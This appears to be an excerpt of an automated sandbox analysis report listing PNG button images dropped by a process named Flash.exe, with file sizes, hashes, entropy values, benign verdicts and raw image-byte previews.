Preview:	.PNG........IHDR...(...(........m....tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c014 79.156797, 2014/08/20-09:53:02 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2014 (Macintosh)" xmpMM:InstanceID="xmp.iid:BA558B0B5D6B11E48A78D1F371D518A4" xmpMM:DocumentID="xmp.did:BA558B0C5D6B11E48A78D1F371D518A4"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:BA558B095D6B11E48A78D1F371D518A4" stRef:documentID="xmp.did:BA558B0A5D6B11E48A78D1F371D518A4"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..ml.E..g...IS>T...q.. ..Z..!.hU.F".@ML!1&4....o....!1\|..p...[%D..F..".....Z..'hR...........]{o...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_btn_grey_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2238
Entropy (8bit):	6.449752007181905
Encrypted:	false
SSDEEP:	48:u/6LMYLNnwknA9Wp8uNNKulbHh/cHJ3OM13U6Hi3NK2HcDTzFzW3/0ST3:uSAYRwknmWp8AlTh/LMnHeHcDxG/pT3
MD5:	959014CEFDF65B6DAAE38ADE646BEDC2
SHA1:	68959F5702050F3E59A7D51E63EDDE8232FE7BCC
SHA-256:	323A0275FAD24758309D2BB18668EE511C76DCC8BE14B9149FFAE795A5615BBA
SHA-512:	723069D8E1D13ADAD6385B0E0C3460881566F3087419F6B0E7BCE6B1D68BC5F29A5278DFB2BF3DB1C651106AEC873DC0F6380440F05BAE7DA77C6FA5933A5CF6
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmp:CreateDate="2019-08-19T14:50:33+08:00" xmp:ModifyDate="2019-10-31T14:58:20+08:00" xmp:MetadataDate="2019-10-31T14:58:20+08:00" xmpMM:InstanceID="xmp.iid:bf89a783-6067-ee4b-b855-6817a287ecb7" xmpMM:DocumentID="xmp.did:E00811BB80E411E897C38AACDA6FF963" xmpMM:OriginalDocumentID="xmp.did:E00811B

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_btn_grey_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2557
Entropy (8bit):	6.773638823281924
Encrypted:	false
SSDEEP:	48:m/6LMYLNnwknA9Wp8u/9X0yiM03/cHJ3d0m0g3XHi39xHc5nGftZS6dO6O/Cwhxa:mSAYRwknmWp8Dye3/jboH2HcJGftZO6/
MD5:	A8931DD682145BDEF472B267ED3C6981
SHA1:	B9C508985CB90ED7035C94D776B82B3A8F148CC6
SHA-256:	7716DB1529F53E1C568E7704EB1C58D22B88A28223B8FCE98D7222FC4580C707
SHA-512:	C346BE837CD2F9017A4AEA7294CAEAAC048D3C900A7EE6E98BF7BA61AD1B2DB9CC522E6876C9DEEB3335022F8274C7FA8CAA3690DE22E744B6FC5374A57962B9
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmp:CreateDate="2019-08-19T14:50:33+08:00" xmp:ModifyDate="2019-10-31T14:58:45+08:00" xmp:MetadataDate="2019-10-31T14:58:45+08:00" xmpMM:InstanceID="xmp.iid:18107929-b37c-3f4b-96d4-4eeb1b176cf1" xmpMM:DocumentID="xmp.did:DF9ACF6180E411E898DABCD0030F0403" xmpMM:OriginalDocumentID="xmp.did:DF9ACF6

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_button_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 52 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	621
Entropy (8bit):	6.82179766243588
Encrypted:	false
SSDEEP:	12:6v/721HVbpOnKm2cDPuYZ3MxnkFe8RE479uuaJwW:P1nfBWui8WoAEYAOW
MD5:	76A5FB89B52DB50677476BF765285E96
SHA1:	0C020BD76C6F23C3E017FB6E4F2B2C872AB0BB84
SHA-256:	7718E09D6BA8B47C65106C97A58E6C706D7BC8997575955A8F516EBF310C3DE1
SHA-512:	8325716F1A27FDFFF66AB063330D700D62A3877D66FE85BDA043C24D7DE99931652C3477ADC5CDCC7F67FF5150D7391BFFB10CF5FA38531A70176D492E919F45
Malicious:	false
Preview:	.PNG........IHDR...4...............KiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about=""/>. </rdf:RDF>.</x:xmpmeta>.<?xpacket end="r"?> I.:....IDATX..A..0.E.....}\.6.DO!{OQ..&.[.-.....&..a(4}.&..L.'.]....l.....S...N.Z:"B.1...~.....-%.""t8..g[.>.o..$.k.4.d..kWp)...rC......+....C-...R..hm.M..../.^D.:.h..:.p..r.g<..%..1s....'EDPZ..K.Y...`..gf..H.F.L....t/...XKD.!.......IEND.B`.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_button_125.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 65 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1198
Entropy (8bit):	6.574876085961163
Encrypted:	false
SSDEEP:	24:p1hiyWwjx82lY2T37VbPyJ3V4DmGVcZZKrYmMeiSkwr3mQFrz:3uNn2v0J3imLk19kwr2QZz
MD5:	2AF066C2215D04992B9128CC4732C68C
SHA1:	6A0405C76FB8977D0D0B38AC50B37DDCE235C594
SHA-256:	2CD03ED73C82EB8BC174E0C073A5511930560B125CB4B5C54AF238EC855AFF6B
SHA-512:	A8595E726FD50259115CB9A3C66142FCAF309112BB684182E2ECD491B37809A4D0869DA92175F30241EC57D905477BF7BEBD6E2D6FE5F4C1E241CA395DEA4786
Malicious:	false
Preview:	.PNG........IHDR...A.........s/sg....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DEFCD82E2B1E11E88A57A0212EB36B2D" xmpMM:DocumentID="xmp.did:DEFCD82F2B1E11E88A57A0212EB36B2D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DEFCD82C2B1E11E88A57A0212EB36B2D" stRef:documentID="xmp.did:DEFCD82D2B1E11E88A57A0212EB36B2D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......IDATx..O..@.....Ey.N..\.....E`..cH.....t.ma.zO.DR7...S.f..x...s..eij....l..!0......C.....B.....f.O.$..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_button_150.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 78 x 36, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1239
Entropy (8bit):	6.647976579334926
Encrypted:	false
SSDEEP:	24:j1hiyWwjx82lY2T37Vjcaq+yJ3VjIqitEGrlR8uLmiKI2IYKJu:puNn2vNCVJ3NRIE0lvLmi2IYKk
MD5:	3108DA4C63DC8C9FD9049D115ECA5526
SHA1:	8031B5392D7C53D05342CE15BD8F23CBAD6BBAE2
SHA-256:	0C17DFE5890FDE07E728D36FBABF13813E489541B3ABC3AC5E2408036E1BE4AD
SHA-512:	76C127B295BDD478077E05277485ABDC338828939E0A3235AEEC9A95C544D27B93C78E5BD7E61F9F64711E8127BC2053D84B89BCA98E5C54986A6188E46F77B6
Malicious:	false
Preview:	.PNG........IHDR...N...$.....'..!....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DEC96B5D2B1E11E89A00D7E704329A1C" xmpMM:DocumentID="xmp.did:DEC96B5E2B1E11E89A00D7E704329A1C"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DEC96B5B2B1E11E89A00D7E704329A1C" stRef:documentID="xmp.did:DEC96B5C2B1E11E89A00D7E704329A1C"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>../....GIDATx...M..@..pg.c..h...eP....aZ.v..Rt..Qg.6A..D.X.O.?x.8..13.j.....`!......w.8...p.C..p...W...G....8..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\close_button_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 104 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1382
Entropy (8bit):	6.871518318834056
Encrypted:	false
SSDEEP:	24:21hiyWwjx82lY2T37VYhP2/yJ3VqG0IGZZBVyL54Ve/TFymBj:8uNn2vGhuqJ38pImBZs/ImBj
MD5:	8A7070B1404447E118B94B9516FD8ABD
SHA1:	875593576D3F18E8E12D97E6AAEF98F2E4D79813
SHA-256:	482A49CD76F8B745FB762F3010ACA198BBCB6692F508E99F1AF598F1EDA107ED
SHA-512:	E797E881D3FB98C5444B22B61CF1D397D87AD5DEF71E3EEE2F52A1C80B881CAAEDF602E1C1846A8FE73ED125126F9DEBB4460797A2A6CCBB622757E6DF384FF5
Malicious:	false
Preview:	.PNG........IHDR...h...0.......?;....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2015 (Windows)" xmpMM:InstanceID="xmp.iid:DE9450D62B1E11E88C69AE7F6DDBE96E" xmpMM:DocumentID="xmp.did:DE9450D72B1E11E88C69AE7F6DDBE96E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DE9450D42B1E11E88C69AE7F6DDBE96E" stRef:documentID="xmp.did:DE9450D52B1E11E88C69AE7F6DDBE96E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>Z.......IDATx...;J.Q...;w. ....{..,\.)......vq.c0....6.J.06.K...e..3.s..8!03...}....v._.. .e..1.mp;.... .!.B.. .@

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_disable_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	6.690108424969472
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36VDMi9oyJ3VDSYGA2cZR5VIlZUlp0:dzo7FDNn2m1TJ31dtt8lEp0
MD5:	219539BB0927B8279A78768D5B20B752
SHA1:	DD09BA69E8DB23052E259C115EEBB04D219DA3AB
SHA-256:	4F8651897EDCF18D939616837A9AAACB83C1573841C3F489FA2E1B85F0EDEF1C
SHA-512:	393FA46A121EDD4C9E18F90A13C77B1375E3C672D84D08546B267C08B2650049649A3DF13AF3806917CA50290A51325D570FBAA7AB274CE79C564D5457165486
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:048CF639A43E11E8AB539B3107EC0A2F" xmpMM:DocumentID="xmp.did:048CF63AA43E11E8AB539B3107EC0A2F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:048CF637A43E11E8AB539B3107EC0A2F" stRef:documentID="xmp.did:048CF638A43E11E8AB539B3107EC0A2F"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?> ......LIDATx...n.@..g..K1p..Azj...x.=.O.. ....D.p..'...@...I&!......X.8...yNC.....l7...`.&..zq.k.....~Y.)..I..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_disable_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1548
Entropy (8bit):	7.088490344233403
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36VrYqyJ3VHbGA2A5Al6/5ysXX8V5zWmrpJAgCX:lzo7FDNn2mRaJ3JdpEC5VMV5KmrnAn
MD5:	4C362BB06177B862EE4B60AE1BDCE2C8
SHA1:	E62E0C26862BEEC3D884661E9E5CCE9E3420E031
SHA-256:	6FE450BF5B1A0EBA6337E9D96DC1254805353E370A4C82B5FB2A7FD2BF3FE3E1
SHA-512:	4F816FCF380E083DB9C1281C607EED4FAED53A3A4BBCD8637F3741012CC51B2D5B1E05A59F34885DEF497CD932CB0CB6463CA46B6458FF799B49AAE5B4784287
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:02F8767FA43E11E8902EA0E11E8E93D0" xmpMM:DocumentID="xmp.did:02F87680A43E11E8902EA0E11E8E93D0"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:02F8767DA43E11E8902EA0E11E8E93D0" stRef:documentID="xmp.did:02F8767EA43E11E8902EA0E11E8E93D0"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>yx.a...\|IDATx..n.P.........!..A"c...R..q....!Cy.(J..!...Z.....`N. Jr~..,."..b].=.ed+.....[6.ON^...H....G.R<..-

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_hover_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1257
Entropy (8bit):	6.722069729023867
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36Vvi7syJ3VIYh3R1GWA+bLyJYneIkJQ:dzo7FDNn2mVY/J32Yhh1ZPJneM
MD5:	39154A6A0A6B9856BB0440E5FCE4A4C7
SHA1:	A0B9B8BA5587359B9381439734EBAC8303CB5F01
SHA-256:	87B5D3050FA8E5917973764D17FD9B00C927430C158CF373D46BD6CC708B1BFD
SHA-512:	F5946BF975008A604460C6116CC8387AAC0C11323B08ABB0F939766F68DD7E3E9B56DB75F6E2F0F9C55075EB67EB1F31B0856DE47457CCC2BBFED88CA609D5DE
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:05407913A43E11E88E919D0899FA1AEE" xmpMM:DocumentID="xmp.did:05407914A43E11E88E919D0899FA1AEE"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:05407911A43E11E88E919D0899FA1AEE" stRef:documentID="xmp.did:05407912A43E11E88E919D0899FA1AEE"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......YIDATx...j.@..gC..$=.x....C(...{..-z.'PLo=.. .6`.i....F.F....av.....$..q.p6.".u.2.`.../..yd......r..`c.4.Z.

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_hover_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1555
Entropy (8bit):	7.1450550280979215
Encrypted:	false
SSDEEP:	24:X1hNo7FCWwjx82lY2T36VV0bQyJ3VtbTGPigQUdlcOe+6+c+OkN0AGkUqGfRZh:lzo7FDNn2mgJ3TVqlT6+bsqGfV
MD5:	0CA32164E69DC6D1C8F47B2FBDF340D7
SHA1:	0662AF407648D97165F921BCB47FA733A0DF9EC4
SHA-256:	AADBE1EFA9B998BA544ECFD5957C2D1ED6B8826FBFCA7027F8CC87455044682A
SHA-512:	6AC8B24CCE562B51FB4E3D70A367D6FAC329A2F9D3006D6815A9D385295332BB1B2A30768D31A1AA30CCD9370D3BA41CF234101AD1A76244391C5CA32FAD480A
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:03B241A5A43E11E8AC98E6B282ACC97E" xmpMM:DocumentID="xmp.did:03B241A6A43E11E8AC98E6B282ACC97E"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:03B241A3A43E11E8AC98E6B282ACC97E" stRef:documentID="xmp.did:03B241A4A43E11E8AC98E6B282ACC97E"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..OK.@......<..ku'*..k.x~.]..+..u......!...E......Jk.ghB(...8....i;.._f.....E...{J.:.Y..D...

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_normal_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	6.684420978897863
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36Vm9INsLyJ3VdwBkbGgcZR5VIlZUlp0:dzo7FDNn2m5J3vTe8lEp0
MD5:	422068F7F90E6600C789538998DB6694
SHA1:	283166C1852B90528DC04C139E64E69BD109ADBD
SHA-256:	5935DC3A9AE050F44E7A79A1E1D2BBA63FEC7FF2A84FB00490CFB5AA3582FE79
SHA-512:	75099928C1BF318C2D4B7D78AA9F331A15E74D6B36F586343AA4A2A7FC86D23CB554420A48E9F0135D9D2FBB1D365A09286CF60E370F6B5419F4EAB760620605
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:05906539A43E11E88274A224868743F2" xmpMM:DocumentID="xmp.did:0590653AA43E11E88274A224868743F2"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:05906537A43E11E88274A224868743F2" stRef:documentID="xmp.did:05906538A43E11E88274A224868743F2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>,B+....LIDATx...n.@..g..K1p..Azj...x.=.O.. ....D.p..'...@...I&!......X.8...yNC.....l7...`.&..zq.k.....~Y.)..I..

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_normal_200.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 64 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.115236672323165
Encrypted:	false
SSDEEP:	48:lzo7FDNn2m1jqBJ31hF/O0jeXd99h1+8olpNJNB7:Jo7F52aqHF/O0jeXdLu8WJD
MD5:	063D07AC2DD1BBC8229E57BA6C687036
SHA1:	39C3275DCEDF9DE09B3377412322992D13B65B9F
SHA-256:	86E8E7E6134F9C68DEC8BFEDBA7B4BE59FA393DF6F72B7114EB6E91A9E4448CF
SHA-512:	AFE1904EEA3CE5AEFBE2963295D21957D06516A89744AAEC0713234F599A1D94F3A7BE6C74BD19237785B12A35BF9A302C97AF96493989148AE8022E3E137726
Malicious:	false
Preview:	.PNG........IHDR...@...0......K\|.....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:0423E2C8A43E11E8B8D7C3EE9B1F4FA3" xmpMM:DocumentID="xmp.did:0423E2C9A43E11E8B8D7C3EE9B1F4FA3"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0423E2C6A43E11E8B8D7C3EE9B1F4FA3" stRef:documentID="xmp.did:0423E2C7A43E11E8B8D7C3EE9B1F4FA3"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..n.P......>A.[...HaD.....*..s.........x.d-..P).. $......V.T..k..=........._Y{vttKl...)K.hoOlu

C:\Users\user\AppData\Local\Adobe\EFFFF762-3E4A-4825-BDAC-F7C7253A8025\cls_btn_press_100.png Download File
Process:	C:\Users\user\AppData\Roaming\Flash.exe
File Type:	PNG image data, 32 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1260
Entropy (8bit):	6.727388748598175
Encrypted:	false
SSDEEP:	24:P1hNo7FCWwjx82lY2T36VDNLgahL7yJ3VD3L6PLsGdFqpOVHLjUx6:dzo7FDNn2m1KJ31pyNLK6
MD5:	3B7870E67EE8E82EBD940F4BF2C2FB04
SHA1:	8430B2A101E6A9FE8AE3EA51D2139C491FE0F6EE
SHA-256:	477F39A844453FCBAE56FFC1A243881B7FE047F064252F94C724D784949A6897
SHA-512:	DB909151A6232196D50B79D83F2DFFE31F6A9C3F240D1B1C01064DA56E4171061EF1C32B01ABC484F783C73B080D50599B7A7BDF46AD9BD8D60FA7C96E663C5F
Malicious:	false
Preview:	.PNG........IHDR... ..........S.4....tEXtSoftware.Adobe ImageReadyq.e<...&iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)" xmpMM:InstanceID="xmp.iid:04E56A7CA43E11E8940BB3C63DFA27CC" xmpMM:DocumentID="xmp.did:04E56A7DA43E11E8940BB3C63DFA27CC"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:04E56A7AA43E11E8940BB3C63DFA27CC" 